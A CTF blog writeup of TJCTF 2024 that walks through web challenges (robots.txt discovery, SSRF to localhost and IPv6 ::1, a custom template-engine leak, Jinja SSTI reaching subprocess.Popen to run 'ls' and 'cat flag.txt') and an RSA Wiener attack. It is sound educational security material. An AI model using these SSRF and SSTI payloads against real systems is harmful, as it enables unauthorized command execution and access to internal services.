Kashmir54

Cibersecurity blog. CTFs, writeups, electronics and more!

Home YouTube View on GitHub

TJCTF 2024

Welcome to another CTF writeup. I did some CTFs early this year but didn’t publish writeups, but here we are, back again. This time I played TJCTF 2024 in the weekend time. We participated as ISwearGoogledIt with Razvi and Bubu. We solved all the Web challenges, so if you miss some writeups, ask Bubu to write them down 😉. Let’s get started:


Web

Crypto

Table of contents generated with md-toc




Web

web/frog

kpdfgo 311 solves / 108 points I keep seeing frogs in my room at 2am… please help me get rid of them…

frog.tjc.tf

Go to robots.txt and find the following disallowed path:

https://frog.tjc.tf/robots.txt

User-agent: *
Disallow: /secret-frogger-78570618/

Visit that path and in the source code, there is a link to the flag (https://frog.tjc.tf/secret-frogger-78570618/flag-ed8f2331.txt):

tjctf{fr0gg3r_1_h4rdly_kn0w_h3r_3e1c574f}


web/reader

sToro 144 solves / 119 points Sites today have so much clutter, so I made a site to remove most of the extra stuff! Attached files: server.zip reader.tjc.tf

This challenge is a web challenge with SSRF (Server-Side Request Forgery). It visits a website of you choice. Checking the code, we can locate the flag at the /monitor endpoint that only requires request.remote_addr to be “localhost” or “127.0.0.1”:

# snip...
@app.route("/")
def index():
    global log, log_count
    site_to_visit = request.args.get("site") or ""
    url = urlparse(site_to_visit)
    if not site_to_visit:
        return render_template("index.html")
    else:
        parser = etree.HTMLParser()
        try:
            response = get(site_to_visit).text
            tree = etree.fromstring(response, parser).getroottree()
            content = get_text_repr(tree, url.scheme + "://" + url.netloc)
        except Exception as e:
            print(e)
            log_count += 1
            if log_count >= MAX_LOGS:
                log.pop(0)
                log_count = MAX_LOGS
            log.append(str(e))
            tree = etree.fromstring(
                "<body>failed to load page</body>", parser
            ).getroottree()
            content = get_text_repr(tree, "")

        return render_template("site_view.html", content=content)


@app.route("/monitor")
def monitor():
    print(f"Rendering: {request.remote_addr}")
    if request.remote_addr in ("localhost", "127.0.0.1"):
        print("Rendering")
        return render_template(
            "admin.html", message=flag, errors="".join(log) or "No recent errors"
        )
    else:
        return render_template("admin.html", message="Unauthorized access", errors="")
# snip...

With the following URL, we access the monitor endpoint and get the flag:

https://reader.tjc.tf/?site=http://127.0.0.1:5000/monitor

tjctf{maybe_dont_make_random_server_side_requests_dd695b62}


web/fetcher

kpdfgo 111 solves / 126 points “that’s so fetch!” - mean girls (2004) Attached files: app.js

We have the following code:

const express = require('express');
const fs = require('fs');
const app = express();

const flag = fs.readFileSync('flag.txt').toString();

app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});

app.post('/fetch', async (req, res) => {
    const url = req.body.url;

    if (!/^https?:\/\//.test(url))
        return res.send('invalid url');

    try {
        const checkURL = new URL(url);

        if (checkURL.host.includes('localhost') || checkURL.host.includes('127.0.0.1'))
            return res.send('invalid url');
    } catch (e) {
        return res.send('invalid url');
    }

    const r = await fetch(url, { redirect: 'manual' });
    const fetched = await r.text();
    res.send(fetched);
});

app.get('/flag', (req, res) => {
    if (req.ip !== '::ffff:127.0.0.1' && req.ip !== '::1' && req.ip !== '127.0.0.1')
        return res.send('bad ip');

    res.send(`hey myself! here's your flag: ${flag}`);
});

app.listen(3000, () => {
    console.log('Server is running on port 3000');
});

As the previous challenge, there is a SSRF and the flag is located at /flag and it can only be accessed when the request IP is ”::ffff:127.0.0.1”, “::1” or “127.0.0.1”. The server uses some regex against the URL, and it does not allow to include localhost or 127.0.0.1. So, the only option of the previous 3 that will pass the regex is using the localhost IP ”::1”. We skip all the issues we had with the instance and the only key in this challenge is that we have to include the port of the server in the payload:

http://[::1]:3000/flag


web/templater

kpdfgo 92 solves / 132 points arghhhhhhhh jinja is so hard and bulky :((( Attached files: app.py

We have the following code:

from flask import Flask, request, redirect
import re

app = Flask(__name__)

flag = open('flag.txt').read().strip()

template_keys = {
    'flag': flag,
    'title': 'my website',
    'content': 'Hello, !',
    'name': 'player'
}

index_page = open('index.html').read()

@app.route('/')
def index_route():
    return index_page

@app.route('/add', methods=['POST'])
def add_template_key():
    key = request.form['key']
    value = request.form['value']
    template_keys[key] = value
    print(template_keys)
    return redirect('/?msg=Key+added!')

@app.route('/template', methods=['POST'])
def template_route():
    s = request.form['template']
    
    s = template(s)

    print(s)
    if flag in s[0]:
        return 'No flag for you!', 403
    else:
        return s

def template(s):
    while True:
        m = re.match(r'.*().*', s, re.DOTALL)
        if not m:
            break

        key = m.group(1)[2:-2]

        if key not in template_keys:
            return f'Key {key} not found!', 500

        s = s.replace(m.group(1), str(template_keys[key]))

    return s, 200

if __name__ == '__main__':
    app.run(port=5000)

Looking at the code, we can identify a homemade templating engine. The flag is located at template_keys, that are used in the template() function. We can use the keys as variables in out template and it will substitute them with the value in the dict. We have to retrieve the flag, but the script will check if the complete flag is in the response, so the idea is not to return the complete flag, but do it partially so we can skip the if flag in s[0]: statement.

The trick here is to play with the flag format tjctf{.+} and the error when a template key is not found: return f’Key {key} not found!’, 500. Since the algorithm is while true, it will check for all instances, so using the curlybraces at the flag, we can trick the algorithm to look for the flag key in the template_keys dict this way:

Key: f

Value: {{{{flag}}}

s = “{{f}}”

s = “{{{{flag}}}”

s = “{{tjctf{.+}}”

return f’Key {tjctf{.+} not found!’, 500

“Key tjctf{t3mpl4t3r_1_h4rdly_kn0w_h3r_bf644616 not found!”

tjctf{t3mpl4t3r_1_h4rdly_kn0w_h3r_bf644616}


web/music-checkout

sToro 82 solves / 136 points I’ve always thought it was a little rude for receiptify not to let you pick the songs that you think are important, so now you can! Attached file: server.zip

We have the following code:


from flask import Flask, render_template, request
import uuid

app = Flask(__name__)
app.static_folder = "static"


@app.route("/static/<path:path>")
def static_file(filename):
    return app.send_static_file(filename)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/create_playlist", methods=["POST"])
def post_playlist():
    try:
        username = request.form["username"]
        text = request.form["text"]
        if len(text) > 10_000:
            return "Too much!", 406
        if " in text or " in text:
            return "Nice try!", 406
        text = [line.split(",") for line in text.splitlines()]
        text = [line[:4] + ["?"] * (4 - min(len(line), 4)) for line in text]
        filled = render_template("playlist.html", username=username, songs=text)
        this_id = str(uuid.uuid4())
        with open(f"templates/uploads/{this_id}.html", "w") as f:
            f.write(filled)
        return render_template("created_playlist.html", uuid_val=this_id), 200
    except Exception as e:
        print(e)
        return "Internal server error", 500


@app.route("/view_playlist/<uuid:name>")
def view_playlist(name):
    name = str(name)
    try:
        return render_template(f"uploads/{name}.html")
    except Exception as e:
        print(e)
        return "checkout not found", 404


if __name__ == "__main__":
    app.run(port=5000, debug=True)

In the text field we have some filtering, but on the username not, so we go for an SSTI:

{{''.__class__.__mro__[1].__subclasses__()}}

# It returns the set of classes, we like to use Popen to get RCE
...
<class "gunicorn.http.wsgi.Response">
<class "subprocess.CompletedProcess">
<class "subprocess.Popen"> # Line 337
<class "gunicorn.workers.workertmp.WorkerTmp">
...

We can use the following payload to list the directory and to retrieve the flag:

# We use the subclasses 336 (Popen) as it was the index in the previous classes list
{{ ''.__class__.__mro__[1].__subclasses__()[336]('ls',shell=True,stdout=-1).communicate()[0].decode('utf-8') }}

# We can cat the flag:
{{''.__class__.__mro__[1].__subclasses__()[336]('cat flag.txt',shell=True,stdout=-1).communicate()[0].decode('utf-8') }}

tjctf{such_quirky_taste_818602f2}




Crypto

crypto/weird-crypto

scienceqiu 151 solves / 118 points weird crypto hmmm

We have the following code:

from math import lcm
from Crypto.Util.number import bytes_to_long, getPrime

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read().strip())

oops = getPrime(20)
p1 = getPrime(512)
p2 = getPrime(512)

haha = (p1-1)*(p2-1)
crazy_number = pow(oops, -1, haha)
discord_mod = p1 * p2
hehe_secret = pow(flag, crazy_number, discord_mod)

print('admin =', discord_mod)
print('hehe_secret =', hehe_secret)
print('crazy number =', crazy_number)

The code evolkes an RSA algorithm, let’s rename the variables to spot the vulnerability:

from math import lcm
from Crypto.Util.number import bytes_to_long, getPrime

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read().strip())

random = getPrime(20)
p = getPrime(512)
q = getPrime(512)

n = p * q
phi_n = (p-1)*(q-1)
e = pow(random, -1, phi_n) # Issue

encripted = pow(cleartext, e, n)

print('admin =', n)
print('hehe_secret =', encripted)
print('crazy number =', e)

The algorithm is using a big exponent (e) and it is prone to Wiener attack. We can implement the following script to retrieve d for then decripting the message:

import owiener

e = 13961211722558497461053729553295150730315735881906397707707726108341912436868560366671282172656669633051752478713856363392549457910240506816698590171533093796488195641999706024628359906449130009380765013072711649857727561073714362762834741590645780746758372687127351218867865135874062716318840013648817769047
n = 115527789319991047725489235818351464993028412126352156293595566838475726455437233607597045733180526729630017323042204168151655259688176759042620103271351321127634573342826484117943690874998234854277777879701926505719709998116539185109829000375668558097546635835117245793477957255328281531908482325475746699343
d = owiener.attack(e, n)

if d is None:
    print("Failed")
else:
    print("Hacked d={}".format(d))

The script get d with value 861079. I implemented the following script to get the flag:

#!/usr/bin/env python3
import codecs

e = 13961211722558497461053729553295150730315735881906397707707726108341912436868560366671282172656669633051752478713856363392549457910240506816698590171533093796488195641999706024628359906449130009380765013072711649857727561073714362762834741590645780746758372687127351218867865135874062716318840013648817769047
n = 115527789319991047725489235818351464993028412126352156293595566838475726455437233607597045733180526729630017323042204168151655259688176759042620103271351321127634573342826484117943690874998234854277777879701926505719709998116539185109829000375668558097546635835117245793477957255328281531908482325475746699343
d = 861079 

msg = 10313360406806945962061388121732889879091144213622952631652830033549291457030908324247366447011281314834409468891636010186191788524395655522444948812334378330639344393086914411546459948482739784715070573110933928620269265241132766601148217497662982624793148613258672770168115838494270549212058890534015048102
flag = []

hexa = str(hex(pow(msg,d,n)))[2:]
print(hexa)

flag = codecs.decode(hexa, 'hex').decode('utf-8')
print(flag)

tjctf{congrats_on_rsa_e_djfkel2349!}


Great CTF, we enjoyed it. Thanks for reading!!